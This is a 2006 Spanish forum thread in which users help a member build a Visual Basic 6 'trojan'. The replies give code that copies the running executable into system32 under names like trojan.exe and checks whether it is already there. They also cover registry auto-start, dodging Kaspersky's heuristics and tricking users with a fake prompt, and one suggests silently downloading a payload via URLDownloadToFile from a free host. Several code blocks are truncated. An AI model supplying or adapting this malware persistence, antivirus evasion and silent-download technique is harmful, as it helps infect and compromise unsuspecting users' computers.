Título: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 8 Diciembre 2006, 14:14 pm He estado buscando y los codigos que aparecen no me funcionan.
Lo que busco es que cuando se ejecute mi programa, se copie a system32 (el paso ese de que cada vez que se inicie el ordenador se ejecute ya sé hacerlo, solo me falta copiarlo a system32) Gracias Saludos Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: ~~ en 8 Diciembre 2006, 15:31 pm Vamos a ver, lo primero q necesitas es obtener la ruta de system32. Puedes hacerlo asi:
En un módulo copiar estas líneas: Código: Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Y para obtener la ruta al iniciar el programa y copiarlo: Código: Private Sub Form_Load() 1S4ludo Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 8 Diciembre 2006, 17:22 pm No me sale eso :-(
Me sale el típico error de ejecución 53 y para colmo todavia no he llegado a la parte del manual que habla de los módulos ^^. Alguna otra idea? Gracias Lo que más me jiode es que el mensaje que me dijiste como hacerlo lo borré =(!!! Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: ~~ en 8 Diciembre 2006, 19:59 pm Te saldra ese mensaje por q no lo habras compilado, dale a compilar y una vez tienes creado el ejecutable lo ejecutas y veras como se copia...
Un modulo no es mas q un sitio donde puedes escribir funciones q se puedan usar desde todo el proyecto, para añadir uno solo tienes q darle a la flecha del segundo icono de la barra de arriba (el de la izq del selector de menus) y seleccionar modulo ;) Veras como ahora si que te funciona :P 1S4ludo Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: WarGhost en 8 Diciembre 2006, 20:26 pm para q pones esta api:
Código: Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long solo con esta valdria: Código: Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Es mejor poner todo en un modolo asi: Código: Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long y luego llamarla así de fácil: Código: Private Sub Form_Load() Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 8 Diciembre 2006, 23:37 pm Bueno, si si le doy directamente a lo de compilar me funciona pero... bueno ahora voy con el codigo que me dices warghost.
Pongo 100% exactamente eso que me dices, bueno, le doy a iniciar y de primeras me da el error de antes, ese 53..., nada me lo paso por el forro y le doy a compilar, me genera bien el exe..., pero cuando ejecuto el exe... Bien, me lo copia a system32 pero si me voy a system32 y lo ejecuto allí, me dice, error 70 en tiempo de ejecucion, permiso denegado. ¿Que será eso? ¿Como solucionarlo? Gracias y saludos Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 9 Diciembre 2006, 13:09 pm Bueno, tambien acabo de probar el código que me dices E0N y me dice el mismo problema ese 70 de tiempo de ejecucion acceso denegado.
:-( :-( Saludos Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: ~~ en 9 Diciembre 2006, 13:52 pm Citar para q pones esta api: Código: Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Si tienes razon eske lo sake de un proyecto q estaba haciendo en ese momento, q obtenia las dos carpetas y no me di cuenta de borrarlas.... Bueno, tambien acabo de probar el código que me dices E0N y me dice el mismo problema ese 70 de tiempo de ejecucion acceso denegado. :-( :-( Saludos Ponlo en un timer a ver si es q te lo detecta el AV por euristica... a mi es lo unico q se me ocurre :huh: 1S4ludo Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: WarGhost en 9 Diciembre 2006, 14:48 pm te tiene q dar error esta linea:
Código: FileCopy App.Path & "\" & App.EXEName & ".exe", System32 & "\trojan.exe" si lo ejecutas desde vb6 pero si lo compilas no tira error. Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 9 Diciembre 2006, 17:11 pm Bueno haber que me estoy liando :S, aquí está todo lo que tengo que me habeis dicho..
Modulo: Código: Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Código: Private Sub Form_load() Si lo dejo así, y le doy a ejecutar, no rula, y si le doy al boton que me aparece de depurar, me indica que el error, es la linea del filecopy... Si lo compilo se compila..., pero cuando tengo el ***.exe, lo ejecuto con normalidad, bien, pero lo que pasa es que se copia mal. Porque cuando ejecuto el que se ha copiado a system32, me dice que hay un error 70... ese que os he dicho... bien. Ahora cambio, el private form load, por lo de private timer1_timer..., hago lo mismo que en el anterior.. Y cuando llego a la parte de ir a system32 a ver si se me ha copiado bien noto una minúscula diferencia, y es que me abre el form, pero me sigue tirando el error y me lo cierra. =S De hecho, me acuerdo que hace tiempo lo conseguí, y no tube que crear módulo ni nada, pero eso si, el maldito kav me lo detectaba porque añadia una clave al registro. Bueno sigo necesitando ayuda Saludos y gracias Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: ~~ en 9 Diciembre 2006, 19:16 pm Eso sera por q intentas copiarlo sobre si mismo, es decir copiar sobre un archivo en ejecucion.
Cuando se aya copiado a system32 sacalo al escritorio por ejemplo y ejecutalo, veras como funciona bien ;) 1S4ludo Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: sp26 en 9 Diciembre 2006, 22:24 pm Es mas facil:
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\trojan.exe" Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 9 Diciembre 2006, 23:44 pm Bueno acabo de probar este ultimo codigo que me dices sp26 y obtengo los mismos resultados que los demás, me sale el error ese.
Pero he probado lo que dices, E0N con los dos tipos de troyanos (el que necesita modulo y el que me acaba de decir sp26) y es verdad, cuando los saco me funciona... Pero lógicamente, me tiene que funcionar dentro del system32, no? Porque lo que deseo es eso, que se copie al registro (que ya tengo el codigo y que funciona) y que se meta en system32. Entonces, he de hacer algo, o se supone que me funciona así? Bueno aquí dejo el código "entero" Código: Private Sub Form_Load() Repito, aunque me funcione dentro del escritorio, se supone que me tiene que funcionar dentro de system32. ¿Que hago :S? Saludos, y Gracias Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: sp26 en 10 Diciembre 2006, 02:47 am Lei y relei pero no entendi muy bien...
¿Quieres que se copie al System32 desde el registro? Para eso colocalo en el _Load Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: ~~ en 10 Diciembre 2006, 13:26 pm Bamos a ver te lo vuelvo a explicar por q parece q me expliké mal... Imagina q en el escritorio tienes un programa q se llama game.exe (y q estas usando) y kieres copiar al escritorio otro programa q se llame game.exe.
Evidentemente windows no te va a dejar por q no puedes poner dos archivos con el mismo nombre en la misma carpeta (se sobrescribirian) y en este caso como el primer game.exe esta en uso no te deja ni sobreescribirlo. Con tu troyano pasa lo mismo, no puedes sobreescribirlo, ni copiar dos archivos con el mismo nombre en la misma carpeta, por lo q te da error. Como solucionarlo?? pues comprobando antes de nada si el archivo existe. Esta es una opcion: Código: If Dir("C:\windows\system32\troyano.exe") <> "" Then Ahora te vendrá muy bien mi codigo para obtener la carpeta de system32 para poner la direccion q te de aki: Citar Dir("C:\windows\system32\troyano.exe") Si aun te keda alguna duda postea ;) 1S4ludo Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 10 Diciembre 2006, 14:15 pm Aaaaaa!!!
Claro ahora entiendo el problema. Lo acabo de entender modificando tu código así: Código: Private Sub Form_Load() Claro, al principio todo funciona bien, pero si lo abro desde system32 logicamente no funciona porque se supone que se quiere volver a copiar ahí. Entonces, lo que necesito, es esto??: Un form, que al abrirlo se copie a sys32 (y al registro) y cuando se haya copiado, que se deshabilite la opción esa que tiene de copiarse a system32 para que solo lo haga la primera vez, y las demás no. Entonces, que os parece este código??: Private Sub Form_Load() If Dir("C:\windows\system32\troyano.exe") <> "" Then ****** Else FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe" ;;;;;;;; End If End Sub ***** = Código, por ejemplo, para reiniciar el ordenador (cual es?? :S(por no abrir otro post)) ;;;;;;; = Código, para copiar en el registro. Ahora tengo una pregunta con los IF y los ELSE. En el código, por ejemplo, en donde va el *****, puedo poner un código muy muy grande?? Algo así como 50 líneas... Gracias Saludos Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: sp26 en 10 Diciembre 2006, 19:35 pm Para eso haces un Goto :P
Código: Private Form_Load () Es mejor :P Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: yovaninu en 10 Diciembre 2006, 22:26 pm Private Sub Form_Load() puedes poner 500 lineas claro siempre tendiendo en cuenta que los recursos los uses bien, en fin se trata de vaciar variables despues de usarlar etc etc ademas de cuidar de que no haya algo que vuelva inestable el sistema, inlcuso puede poner bucles y mas bucles, en cuyo caso quiza sea necesario que una de esa lineas diga DoEvents...If Dir("C:\windows\system32\troyano.exe") <> "" Then ****** Else FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe" ;;;;;;;; End If End Sub ***** = Código, por ejemplo, para reiniciar el ordenador (cual es?? :S(por no abrir otro post)) ;;;;;;; = Código, para copiar en el registro. Ahora tengo una pregunta con los IF y los ELSE. En el código, por ejemplo, en donde va el *****, puedo poner un código muy muy grande?? Algo así como 50 líneas... Gracias Saludos respecto a lo de copiarse en el system al menos yo uso otro metodo para mis server's uno clasico se trata de que el server se abra a si mismo (en binario), meta su contenido en una variable string y cree un archivo con el mismo nombre en system32, si lo haces correctamente no debe fallar, no tengo el codigo a la mano pero mas o menos es algo asi: Código:
o algo asi, veo que ese metodo no lo tocaron pero ahi tienes para ap`render un poco mas un saludo! Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 12 Diciembre 2006, 19:42 pm Perdon en tardar tanto en responder.
el codigo que me dices sp26 no me deja compilarlo, me dije que el procedimiento externo no es válido, y me señala la línea de: "On Error GoTo Fallo" (me la señala sin los dos puntos que pones) Bueno y el código que me dices, yovaninu, me señala y dime lo mismo con la misma línea que ha sp26, y además, antes de compilar, cuando pego el código, deja de color rojo la línea esta de: "open app.path & "\" app.exename & ".exe" for binary as #1" Y otra cosa, el código que usaba para copiar el archivo a system32 que me habeis dicho antes ("FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\troyano.exe"") me lo detecta el kaspersky como troyan.generic (maldito sea!!!!), pero no me lo detecta cuando lo analizo, sino cuando lo abro. Me tengo que gobernar otra manera de copiarlo a sys32 He pensado en una cosa. Cuando instalas un programa (algunos) te deja la opción de dejarlo que se inicie solo al encender el ordenador. No podría hacer yo lo mismo, salvo que en vez de preguntarlo, pondría alguna otra cosa, como ¿eres listo? pulsa si o no, y en cualquier caso (por si alguien se considera tonto) pongo para que se copie. Tambien he intentado agregar la funcion para que se copie a sys32 dandole a un botón, y como me imaginaba, no funcionaría. ¿Alguna idea? Saludos Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: sp26 en 12 Diciembre 2006, 19:56 pm Una buena idea es que se baje automaticamente de internet silenciosamente y desde tu programa llamarlo...
Exactamenhte asi: Código: Private Declare Function URLDownloadToFile Lib "urlmon" _ En el otro form, creas un timer con intervalo de 2000 (2 segundos) Código: Private sub timer1_timer () Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: lipman en 13 Diciembre 2006, 16:38 pm Pero me parece que no puedo, ya que las unicas webs que conozco para subir archivo son de esas que tienes que esperar y luego pulsar un boton (tipo megaupload Y_Y) y no creo que se descargue,
Alguna otra cosa? Gracias saludos Título: Re: Cuando se ejecute, que se copie a system32 Publicado por: sp26 en 13 Diciembre 2006, 22:15 pm Pues busca un hosting gratuito ... te permite descarga directa....
www.ripway.com 30 MB Soporte php Descarga directa AdminPanel Basico 150MB Banda por dia |